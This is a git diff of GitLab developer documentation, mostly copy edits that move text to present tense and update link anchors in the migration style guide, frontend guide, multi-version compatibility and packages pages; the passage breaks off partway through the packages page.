@@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migration Style Guide When writing migrations for GitLab, you have to take into account that -these will be run by hundreds of thousands of organizations of all sizes, some with +these are run by hundreds of thousands of organizations of all sizes, some with many years of data in their database. In addition, having to take a server offline for an upgrade small or big is a @@ -44,15 +44,15 @@ and post-deployment migrations (`db/post_migrate`) are run after the deployment Changes to the schema should be committed to `db/structure.sql`. This file is automatically generated by Rails, so you normally should not edit this file by hand. If your migration is adding a column to a -table, that column will be added at the bottom. Please do not reorder -columns manually for existing tables as this will cause confusion to +table, that column is added at the bottom. Please do not reorder +columns manually for existing tables as this causes confusion to other people using `db/structure.sql` generated by Rails. When your local database in your GDK is diverging from the schema from `master` it might be hard to cleanly commit the schema changes to Git. In that case you can use the `scripts/regenerate-schema` script to regenerate a clean `db/structure.sql` for the migrations you're -adding. This script will apply all migrations found in `db/migrate` +adding. This script applies all migrations found in `db/migrate` or `db/post_migrate`, so if there are any migrations you don't want to commit to the schema, rename or remove them. If your branch is not targeting `master` you can set the `TARGET` environment variable. @@ -80,7 +80,7 @@ and whether they require downtime and how to work around that whenever possible. Every migration must specify if it requires downtime or not, and if it should require downtime it must also specify a reason for this. This is required even -if 99% of the migrations won't require downtime as this makes it easier to find +if 99% of the migrations don't require downtime as this makes it easier to find the migrations that _do_ require downtime. To tag a migration, add the following two constants to the migration class' @@ -104,7 +104,7 @@ class MyMigration < ActiveRecord::Migration[6.0] end ``` -It is an error (that is, CI will fail) if the `DOWNTIME` constant is missing +It is an error (that is, CI fails) if the `DOWNTIME` constant is missing from a migration class. ## Reversibility @@ -136,7 +136,7 @@ By default, migrations are single transaction. That is, a transaction is opened at the beginning of the migration, and committed after all steps are processed. Running migrations in a single transaction makes sure that if one of the steps fails, -none of the steps will be executed, leaving the database in valid state. +none of the steps are executed, leaving the database in valid state. Therefore, either: - Put all migrations in one single-transaction migration. @@ -146,15 +146,16 @@ Therefore, either: For example, if you create an empty table and need to build an index for it, it is recommended to use a regular single-transaction migration and the default rails schema statement: [`add_index`](https://api.rubyonrails.org/v5.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index). -This is a blocking operation, but it won't cause problems because the table is not yet used, +This is a blocking operation, but it doesn't cause problems because the table is not yet used, and therefore it does not have any records yet. ## Heavy operations in a single transaction -When using a single-transaction migration, a transaction will hold on a database connection +When using a single-transaction migration, a transaction holds a database connection for the duration of the migration, so you must make sure the actions in the migration -do not take too much time: In general, queries executed in a migration need to fit comfortably -within `15s` on GitLab.com. +do not take too much time: GitLab.com’s production database has a `15s` timeout, so +in general, the cumulative execution time in a migration should aim to fit comfortably +in that limit. Singular query timings should fit within the [standard limit](query_performance.md#timing-guidelines-for-queries) In case you need to insert, update, or delete a significant amount of data, you: @@ -182,8 +183,8 @@ on the `users` table once it has been enqueued. More information about PostgresSQL locks: [Explicit Locking](https://www.postgresql.org/docs/current/explicit-locking.html) For stability reasons, GitLab.com has a specific [`statement_timeout`](../user/gitlab_com/index.md#postgresql) -set. When the migration is invoked, any database query will have -a fixed time to execute. In a worst-case scenario, the request will sit in the +set. When the migration is invoked, any database query has +a fixed time to execute. In a worst-case scenario, the request sits in the lock queue, blocking other queries for the duration of the configured statement timeout, then failing with `canceling statement due to statement timeout` error. @@ -274,7 +275,7 @@ end **Creating a new table when we have two foreign keys:** -For this, we'll need three migrations: +For this, we need three migrations: 1. Creating the table without foreign keys (with the indices). 1. Add foreign key to the first table. @@ -354,7 +355,7 @@ def up end ``` -The RuboCop rule generally allows standard Rails migration methods, listed below. This example will cause a Rubocop offense: +The RuboCop rule generally allows standard Rails migration methods, listed below. This example causes a Rubocop offense: ```ruby disable_ddl_transaction! @@ -399,9 +400,9 @@ In a worst-case scenario, the method: - Executes the block for a maximum of 50 times over 40 minutes. - Most of the time is spent in a pre-configured sleep period after each iteration. -- After the 50th retry, the block will be executed without `lock_timeout`, just +- After the 50th retry, the block is executed without `lock_timeout`, just like a standard migration invocation. -- If a lock cannot be acquired, the migration will fail with `statement timeout` error. +- If a lock cannot be acquired, the migration fails with `statement timeout` error. The migration might fail if there is a very long running transaction (40+ minutes) accessing the `users` table. @@ -437,9 +438,9 @@ class MyMigration < ActiveRecord::Migration[6.0] end ``` -Here the call to `disable_statement_timeout` will use the connection local to +Here the call to `disable_statement_timeout` uses the connection local to the `with_multiple_threads` block, instead of re-using the global connection -pool. This ensures each thread has its own connection object, and won't time +pool. This ensures each thread has its own connection object, and doesn't time out when trying to obtain one. PostgreSQL has a maximum amount of connections that it allows. This @@ -461,8 +462,9 @@ class MyMigration < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers disable_ddl_transaction! + INDEX_NAME = 'index_name' def up - remove_concurrent_index :table_name, :column_name, name: :index_name + remove_concurrent_index :table_name, :column_name, name: INDEX_NAME end end ``` @@ -582,7 +584,7 @@ remember to add an index on the column. This is **required** for all foreign-keys, e.g., to support efficient cascading deleting: when a lot of rows in a table get deleted, the referenced records need to be deleted too. The database has to look for corresponding records in the -referenced table. Without an index, this will result in a sequential scan on the +referenced table. Without an index, this results in a sequential scan on the table, which can take a long time. Here's an example where we add a new column with a foreign key @@ -620,7 +622,7 @@ the standard `add_column` helper should be used in all cases. Before PostgreSQL 11, adding a column with a default was problematic as it would have caused a full table rewrite. The corresponding helper `add_column_with_default` -has been deprecated and will be removed in a later release. +has been deprecated and is scheduled to be removed in a later release. If a backport adding a column with a default value is needed for %12.9 or earlier versions, it should use `add_column_with_default` helper. If a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3) @@ -656,7 +658,7 @@ In this particular case, the default value exists and we're just changing the me `request_access_enabled` column, which does not imply a rewrite of all the existing records in the `namespaces` table. Only when creating a new column with a default, all the records are going be rewritten. -NOTE: **Note:** +NOTE: A faster [ALTER TABLE ADD COLUMN with a non-null default](https://www.depesz.com/2018/04/04/waiting-for-postgresql-11-fast-alter-table-add-column-with-a-non-null-default/) was introduced on PostgresSQL 11.0, removing the need of rewriting the table when a new column with a default value is added. @@ -666,7 +668,7 @@ without requiring `disable_ddl_transaction!`. ## Updating an existing column To update an existing column to a particular value, you can use -`update_column_in_batches`. This will split the updates into batches, so we +`update_column_in_batches`. This splits the updates into batches, so we don't update too many rows at in a single statement. This updates the column `foo` in the `projects` table to 10, where `some_column` @@ -781,12 +783,12 @@ end ## Integer column type By default, an integer column can hold up to a 4-byte (32-bit) number. That is -a max value of 2,147,483,647. Be aware of this when creating a column that will -hold file sizes in byte units. If you are tracking file size in bytes, this +a max value of 2,147,483,647. Be aware of this when creating a column that +holds file sizes in byte units. If you are tracking file size in bytes, this restricts the maximum file size to just over 2GB. To allow an integer column to hold up to an 8-byte (64-bit) number, explicitly -set the limit to 8-bytes. This will allow the column to hold a value up to +set the limit to 8-bytes. This allows the column to hold a value up to `9,223,372,036,854,775,807`. Rails migration example: @@ -836,7 +838,7 @@ timestamps with timezones: - `datetime_with_timezone` This ensures all timestamps have a time zone specified. This, in turn, means -existing timestamps won't suddenly use a different timezone when the system's +existing timestamps don't suddenly use a different timezone when the system's timezone changes. It also makes it very clear which timezone was used in the first place. @@ -937,19 +939,17 @@ Since we had to do this a few times already, there are now some helpers to help with this. To use this you can include `Gitlab::Database::RenameReservedPathsMigration::V1` -in your migration. This will provide 3 methods which you can pass one or more +in your migration. This provides 3 methods which you can pass one or more paths that need to be rejected. -**`rename_root_paths`**: This will rename the path of all _namespaces_ with the +- **`rename_root_paths`**: Renames the path of all _namespaces_ with the given name that don't have a `parent_id`. - -**`rename_child_paths`**: This will rename the path of all _namespaces_ with the +- **`rename_child_paths`**: Renames the path of all _namespaces_ with the given name that have a `parent_id`. - -**`rename_wildcard_paths`**: This will rename the path of all _projects_, and all +- **`rename_wildcard_paths`**: Renames the path of all _projects_, and all _namespaces_ that have a `project_id`. -The `path` column for these rows will be renamed to their previous value followed +The `path` column for these rows are renamed to their previous value followed by an integer. For example: `users` would turn into `users0` ## Using models in migrations (discouraged) diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md index 80e926f800c..75575105178 100644 --- a/doc/development/module_with_instance_variables.md +++ b/doc/development/module_with_instance_variables.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Modules with instance variables could be considered harmful @@ -121,7 +121,7 @@ module Gitlab end ``` -Now the cop won't complain. Here's a bad example which we could rewrite: +Now the cop doesn't complain. Here's a bad example which we could rewrite: ``` ruby module SpamCheckService @@ -213,14 +213,14 @@ module M end ``` -Note that you need to enable it at some point, otherwise everything below -won't be checked. +Note that you need to enable it at some point, otherwise nothing below +that point is checked. ## Things we might need to ignore right now Because of the way Rails helpers and mailers work, we might not be able to avoid the use of instance variables there. For those cases, we could ignore -them at the moment. At least we're not going to share those modules with +them at the moment. Those modules are not shared with other random objects, so they're still somewhat isolated. ## Instance variables in views diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md index 2501f8a169f..25f4b3b5699 100644 --- a/doc/development/multi_version_compatibility.md +++ b/doc/development/multi_version_compatibility.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Compatibility with multiple versions of the application running at the same time @@ -21,7 +21,7 @@ We must make sure that the application works properly in these states. For GitLab.com, we also run a set of canary servers which run a more recent version of the application. Users with the canary cookie set would be handled by these servers. Some URL patterns may also be forced to the canary servers, even without the cookie being set. This also means that some pages may match the pattern and get handled by canary servers, -but AJAX requests to URLs (like the GraphQL endpoint) won't match the pattern. +but AJAX requests to URLs (like the GraphQL endpoint) fail to match the pattern. With this canary setup, we'd be in this mixed-versions state for an extended period of time until canary is promoted to production and post-deployment migrations run. @@ -38,7 +38,7 @@ default. The feature flag can be enabled when the deployment is in a consistent state. However, this method of synchronization doesn't guarantee that customers with on-premise instances can [upgrade with zero downtime](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates) -since point releases bundle many changes together. Minimizing the time +because point releases bundle many changes together. Minimizing the time between when versions are out of sync across the fleet may help mitigate errors caused by upgrades. @@ -70,7 +70,7 @@ This type of change may look like an immediate switch between the two implementa especially with the canary stage, there is an extended period of time where both version of the code coexists in production. -1. **expand**: a new route is added, pointing to the same controller as the old one. But nothing in the application will generate links for the new routes. +1. **expand**: a new route is added, pointing to the same controller as the old one. But nothing in the application generates links for the new routes. 1. **migrate**: now that every machine in the fleet can understand the new route, we can generate links with the new routing. 1. **contract**: the old route can be safely removed. (If the old route was likely to be widely shared, like the link to a repository file, we might want to add redirects and keep the old route for a longer period.) @@ -84,12 +84,12 @@ When we need to add a new parameter to a Sidekiq worker class, we can split this 1. **migrate**: we add the new parameter to all the invocations of the worker. 1. **contract**: we remove the default value. -At a first look, it may seem safe to bundle expand and migrate into a single milestone, but this will cause an outage if Puma restarts before Sidekiq. +At a first look, it may seem safe to bundle expand and migrate into a single milestone, but this causes an outage if Puma restarts before Sidekiq. Puma enqueues jobs with an extra parameter that the old Sidekiq cannot handle. ### Database migrations -The following graph is a simplified visual representation of a deployment, this will guide us in understanding how expand and contract is implemented in our migrations strategy. +The following graph is a simplified visual representation of a deployment, this guides us in understanding how expand and contract is implemented in our migrations strategy. There's a special consideration here. Using our post-deployment migrations framework allows us to bundle all three phases into one milestone. @@ -134,12 +134,12 @@ And these deployments align perfectly with application changes. With all those details in mind, let's imagine we need to replace a query, and this query has an index to support it. -1. **expand**: this is the from `Schema A` to `Schema B` deployment. We add the new index, but the application will ignore it for now -1. **migrate**: this is the `Version N` to `Version N+1` application deployment. The new code is deployed, at this point in time only the new query will run. +1. **expand**: this is the from `Schema A` to `Schema B` deployment. We add the new index, but the application ignores it for now. +1. **migrate**: this is the `Version N` to `Version N+1` application deployment. The new code is deployed, at this point in time only the new query runs. 1. **contract**: from `Schema B` to `Schema C` (post-deployment migration). Nothing uses the old index anymore, we can safely remove it. -This is only an example. More complex migrations, especially when background migrations are needed will -still require more than one milestone. For details please refer to our [migration style guide](migration_style_guide.md). +This is only an example. More complex migrations, especially when background migrations are needed may +require more than one milestone. For details please refer to our [migration style guide](migration_style_guide.md). ## Examples of previous incidents diff --git a/doc/development/namespaces_storage_statistics.md b/doc/development/namespaces_storage_statistics.md index b4a7c8c3132..373b1e38dfc 100644 --- a/doc/development/namespaces_storage_statistics.md +++ b/doc/development/namespaces_storage_statistics.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database case study: Namespaces storage statistics @@ -33,7 +33,7 @@ Additionally, the pattern that is currently used to update the project statistic (the callback) doesn't scale adequately. It is currently one of the largest [database queries transactions on production](https://gitlab.com/gitlab-org/gitlab/-/issues/29070) that takes the most time overall. We can't add one more query to it as -it will increase the transaction's length. +it increases the transaction's length. Because of all of the above, we can't apply the same pattern to store and update the namespaces statistics, as the `namespaces` table is one @@ -137,12 +137,12 @@ WHERE namespace_id IN ( Even though this approach would make aggregating much easier, it has some major downsides: -- We'd have to migrate **all namespaces** by adding and filling a new column. Because of the size of the table, dealing with time/cost will not be great. The background migration will take approximately `153h`, see <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29772>. +- We'd have to migrate **all namespaces** by adding and filling a new column. Because of the size of the table, dealing with time/cost would be significant. The background migration would take approximately `153h`, see <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29772>. - Background migration has to be shipped one release before, delaying the functionality by another milestone. ### Attempt E (final): Update the namespace storage statistics in async way -This approach consists of keep using the incremental statistics updates we currently already have, +This approach consists of continuing to use the incremental statistics updates we already have, but we refresh them through Sidekiq jobs and in different transactions: 1. Create a second table (`namespace_aggregation_schedules`) with two columns `id` and `namespace_id`. diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md index fad004f9df5..6db3b401025 100644 --- a/doc/development/new_fe_guide/dependencies.md +++ b/doc/development/new_fe_guide/dependencies.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependencies diff --git a/doc/development/new_fe_guide/development/accessibility.md b/doc/development/new_fe_guide/development/accessibility.md index 1189dd1137b..81f3773dd5c 100644 --- a/doc/development/new_fe_guide/development/accessibility.md +++ b/doc/development/new_fe_guide/development/accessibility.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Accessibility @@ -42,7 +42,7 @@ In forms we should use the `for` attribute in the label statement: ## Testing -1. On MacOS you can use [VoiceOver](https://www.apple.com/accessibility/mac/vision/) by pressing `cmd+F5`. +1. On MacOS you can use [VoiceOver](http://www.apple.com/accessibility/vision/) by pressing `cmd+F5`. 1. On Windows you can use [Narrator](https://www.microsoft.com/en-us/accessibility/windows) by pressing Windows logo key + Control + Enter. ## Online resources diff --git a/doc/development/new_fe_guide/development/components.md b/doc/development/new_fe_guide/development/components.md index 1597d4e62e7..1d56419028e 100644 --- a/doc/development/new_fe_guide/development/components.md +++ b/doc/development/new_fe_guide/development/components.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Components diff --git a/doc/development/new_fe_guide/development/index.md b/doc/development/new_fe_guide/development/index.md index 52435ca719d..5922c3aeeed 100644 --- a/doc/development/new_fe_guide/development/index.md +++ b/doc/development/new_fe_guide/development/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Development diff --git a/doc/development/new_fe_guide/development/performance.md b/doc/development/new_fe_guide/development/performance.md index 44f5bccde95..8ae503ec709 100644 --- a/doc/development/new_fe_guide/development/performance.md +++ b/doc/development/new_fe_guide/development/performance.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Performance @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w We have a performance dashboard available in one of our [Grafana instances](https://dashboards.gitlab.net/d/1EBTz3Dmz/sitespeed-page-summary?orgId=1). This dashboard automatically aggregates metric data from [sitespeed.io](https://www.sitespeed.io/) every 6 hours. These changes are displayed after a set number of pages are aggregated. These pages can be found inside a text file in the [`gitlab-build-images` repository](https://gitlab.com/gitlab-org/gitlab-build-images) called [`gitlab.txt`](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/scripts/gitlab.txt) -Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes will go live on the next scheduled run after the changes are merged into `master`. +Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `master`. There are 3 recommended high impact metrics to review on each page: diff --git a/doc/development/new_fe_guide/development/testing.md b/doc/development/new_fe_guide/development/testing.md index b990425ca3c..034324989ef 100644 --- a/doc/development/new_fe_guide/development/testing.md +++ b/doc/development/new_fe_guide/development/testing.md @@ -3,3 +3,6 @@ redirect_to: '../../testing_guide/frontend_testing.md' --- This document was moved to [another location](../../testing_guide/frontend_testing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/index.md b/doc/development/new_fe_guide/index.md index c9b655c2274..a62ea53de9f 100644 --- a/doc/development/new_fe_guide/index.md +++ b/doc/development/new_fe_guide/index.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend Development Guidelines -This guide contains all the information to successfully contribute to GitLab's frontend. +This guide contains all the information to successfully contribute to the GitLab frontend. This is a living document, and we welcome contributions, feedback, and suggestions. ## [Development](development/index.md) diff --git a/doc/development/new_fe_guide/modules/dirty_submit.md b/doc/development/new_fe_guide/modules/dirty_submit.md index 17cdab3f240..f9ef96c65dc 100644 --- a/doc/development/new_fe_guide/modules/dirty_submit.md +++ b/doc/development/new_fe_guide/modules/dirty_submit.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dirty Submit diff --git a/doc/development/new_fe_guide/modules/index.md b/doc/development/new_fe_guide/modules/index.md index 18c5b05432c..a9bdcda4a2d 100644 --- a/doc/development/new_fe_guide/modules/index.md +++ b/doc/development/new_fe_guide/modules/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Modules diff --git a/doc/development/new_fe_guide/modules/widget_extensions.md b/doc/development/new_fe_guide/modules/widget_extensions.md index 3844fedb126..ffcd736511a 100644 --- a/doc/development/new_fe_guide/modules/widget_extensions.md +++ b/doc/development/new_fe_guide/modules/widget_extensions.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merge request widget extensions @@ -17,7 +17,7 @@ into the widget that will match the existing design and interaction as other ext To use extensions you need to first create a new extension object that will be used to fetch the data that will be rendered in the extension. See the example file in -app/assets/javascripts/vue_merge_request_widget/extensions/issues.js for a working example. +`app/assets/javascripts/vue_merge_request_widget/extensions/issues.js` for a working example. The basic object structure is as below: diff --git a/doc/development/new_fe_guide/style/html.md b/doc/development/new_fe_guide/style/html.md index 0b4fce13d90..afbfbdcf834 100644 --- a/doc/development/new_fe_guide/style/html.md +++ b/doc/development/new_fe_guide/style/html.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/html.md' --- This document was moved to [another location](../../fe_guide/style/html.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/index.md b/doc/development/new_fe_guide/style/index.md index 284862a2be9..77700441aa3 100644 --- a/doc/development/new_fe_guide/style/index.md +++ b/doc/development/new_fe_guide/style/index.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/index.md' --- This document was moved to [another location](../../fe_guide/style/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/javascript.md b/doc/development/new_fe_guide/style/javascript.md index 003880c2592..17722d2c41b 100644 --- a/doc/development/new_fe_guide/style/javascript.md +++ b/doc/development/new_fe_guide/style/javascript.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/javascript.md' --- This document was moved to [another location](../../fe_guide/style/javascript.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/prettier.md b/doc/development/new_fe_guide/style/prettier.md index 9a95aa96dff..6c0f3b77505 100644 --- a/doc/development/new_fe_guide/style/prettier.md +++ b/doc/development/new_fe_guide/style/prettier.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/tooling.md#formatting-with-prettier' --- This document was moved to [another location](../../fe_guide/tooling.md#formatting-with-prettier). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/tips.md b/doc/development/new_fe_guide/tips.md index d7e9c440335..d38e261b99f 100644 --- a/doc/development/new_fe_guide/tips.md +++ b/doc/development/new_fe_guide/tips.md @@ -1,7 +1,7 @@ --- stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Tips diff --git a/doc/development/newlines_styleguide.md b/doc/development/newlines_styleguide.md index f123482fa5a..57962129b2f 100644 --- a/doc/development/newlines_styleguide.md +++ b/doc/development/newlines_styleguide.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Newlines style guide diff --git a/doc/development/omnibus.md b/doc/development/omnibus.md index 84c395e2e57..5b97221bd29 100644 --- a/doc/development/omnibus.md +++ b/doc/development/omnibus.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # What you should know about Omnibus packages diff --git a/doc/development/ordering_table_columns.md b/doc/development/ordering_table_columns.md index 124f82ac2c8..a0a38acd816 100644 --- a/doc/development/ordering_table_columns.md +++ b/doc/development/ordering_table_columns.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Ordering Table Columns in PostgreSQL diff --git a/doc/development/packages.md b/doc/development/packages.md index de6cac2ce73..689dc6b4141 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -1,12 +1,12 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Packages -This document will guide you through adding another [package management system](../administration/packages/index.md) support to GitLab. +This document guides you through adding another [package management system](../administration/packages/index.md) support to GitLab. See already supported package types in [Packages documentation](../administration/packages/index.md) @@ -56,12 +56,12 @@ Group-level and instance-level endpoints are good to have but are optional. Packages are scoped within various levels of access, which is generally configured by setting your remote. A remote endpoint may be set at the project level, meaning when installing packages, only packages belonging to that -project will be visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages +project are visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages within a given group. Lastly, an instance-level endpoint can be used to allow visibility to all packages within an entire GitLab instance. -Using group and project level endpoints will allow for more flexibility in package naming, however, more remotes -will have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions). +Using group and project level endpoints allows for more flexibility in package naming, however, more remotes +have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions). The current state of existing package registries availability is: @@ -76,22 +76,22 @@ The current state of existing package registries availability is: | Composer | Yes | Yes | No | | Generic | Yes | No | No | -NOTE: **Note:** +NOTE: NPM is currently a hybrid of the instance level and group level. It is using the top-level group or namespace as the defining portion of the name (for example, `@my-group-name/my-package-name`). -NOTE: **Note:** +NOTE: Composer package naming scope is Instance Level. ### Naming conventions -To avoid name conflict for instance-level endpoints you will need to define a package naming convention +To avoid name conflict for instance-level endpoints you must define a package naming convention that gives a way to identify the project that the package belongs to. This generally involves using the project ID or full project path in the package name. See [Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-remotes) as an example. -For group and project-level endpoints, naming can be less constrained and it will be up to the group and project +For group and project-level endpoints, naming can be less constrained and it is up to the group and project members to be certain that there is no conflict between two package names. However, the system should prevent a user from reusing an existing name within a given scope. @@ -121,7 +121,7 @@ The way new package systems are integrated in GitLab is using an [MVC](https://a - Pulling a package - Required actions -Required actions are all the additional requests that GitLab will need to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example: +Required actions are all the additional requests that GitLab needs to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example: - For NuGet, the search request was implemented during the first MVC iteration, to support Visual Studio. - For NPM, there is a metadata endpoint used by `npm` to get the tarball URL. @@ -146,22 +146,22 @@ process. During this phase, the idea is to collect as much information as possible about the API used by the package system. Here some aspects that can be useful to include: - **Authentication**: What authentication mechanisms are available (OAuth, Basic - Authorization, other). Keep in mind that GitLab users will often want to use their + Authorization, other). Keep in mind that GitLab users often want to use their [Personal Access Tokens](../user/profile/personal_access_tokens.md). Although not needed for the MVC first iteration, the [CI job tokens](../user/project/new_ci_build_permissions_model.md#job-token) have to be supported at some point in the future. - **Requests**: Which requests are needed to have a working MVC. Ideally, produce a list of all the requests needed for the MVC (including required actions). Further investigation could provide an example for each request with the request and the response bodies. -- **Upload**: Carefully analyze how the upload process works. This will probably be the most +- **Upload**: Carefully analyze how the upload process works. This is likely the most complex request to implement. A detailed analysis is desired here as uploads can be encoded in different ways (body or multipart) and can even be in a totally different format (for example, a JSON structure where the 